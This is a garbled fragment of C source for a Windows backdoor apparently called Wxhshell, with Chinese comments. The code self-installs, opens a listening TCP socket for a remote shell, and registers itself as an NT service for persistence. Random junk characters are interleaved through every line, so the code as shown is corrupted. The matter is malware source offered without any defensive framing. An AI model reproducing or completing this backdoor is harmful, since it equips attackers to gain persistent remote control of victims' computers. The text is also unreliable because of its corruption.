;&9 CloseHandle(hProcess); *yGGBqd 5`_SN74o if(strstr(procName,"services")) return 1; // 以服务启动 qcRs$-J f?)-}\[IR{ return 0; // 注册表启动 @E8+C8' } >.D4co> u]G\H!WkQ // 主模块 H%{+QwzZ[j int StartWxhshell(LPSTR lpCmdLine) 2>59q$| { JsS-n'gF' SOCKET wsl; f,Ghb~y BOOL val=TRUE; H6gSO(U int port=0; &,)&%Sg[ struct sockaddr_in door; IvNT6]6 P iJ|uvPCE if(wscfg.ws_autoins) Install(); K|s,ru Y\hBd$lQ~ port=atoi(lpCmdLine); 6E}qL8'5x .c cp if(port<=0) port=wscfg.ws_port; V G~Vs@c( :MDKC /mC WSADATA data; @KUWxFak if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; = WJNWt> `QY)!$mUIF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;GD]dW# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8JUwf door.sin_family = AF_INET; 4`=mu}Y2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); |+"(L#wk door.sin_port = htons(port); ]{>,rK[So %xt^698&X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V^~:F closesocket(wsl); Xlt|nX~#; return 1; >KKMcTOYY } !1b;F*H )WFr</z5bA if(listen(wsl,2) == INVALID_SOCKET) { *gz{.)W closesocket(wsl); BD7Ni^qI$ return 1; S`]k>'
l } a-J.B.A$Z/ Wxhshell(wsl); Yz93'HDB WSACleanup(); J|rq*XD}q d<x7{?~.DK return 0; AT|3:]3E v(%*b,^
} -H-~;EzU A+?`?pOm& // 以NT服务方式启动 f|oh.z_R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~7Ux@Sx; { {+ b7sA3 DWORD status = 0; [opGZ`>)j" DWORD specificError = 0xfffffff; W=4FFl[ h!9ei6 serviceStatus.dwServiceType = SERVICE_WIN32; S`Rs82> serviceStatus.dwCurrentState = SERVICE_START_PENDING; T&7qC=E#5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *DhiN serviceStatus.dwWin32ExitCode = 0; J<lO=
+mg serviceStatus.dwServiceSpecificExitCode = 0; {BU;$ serviceStatus.dwCheckPoint = 0; ~flV`wy$$1 serviceStatus.dwWaitHint = 0; bi;1s'Y<D "tpSg hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ny)X+2Ae if (hServiceStatusHandle==0) return; Nmh*EAJSy seeBS/% status = GetLastError(); ^T-V^^#( if (status!=NO_ERROR) 0+b1vhQ { b5n'=doR/I serviceStatus.dwCurrentState = SERVICE_STOPPED; )@bQu~Y serviceStatus.dwCheckPoint = 0; ;i+#fQO7Q serviceStatus.dwWaitHint = 0; |#N& |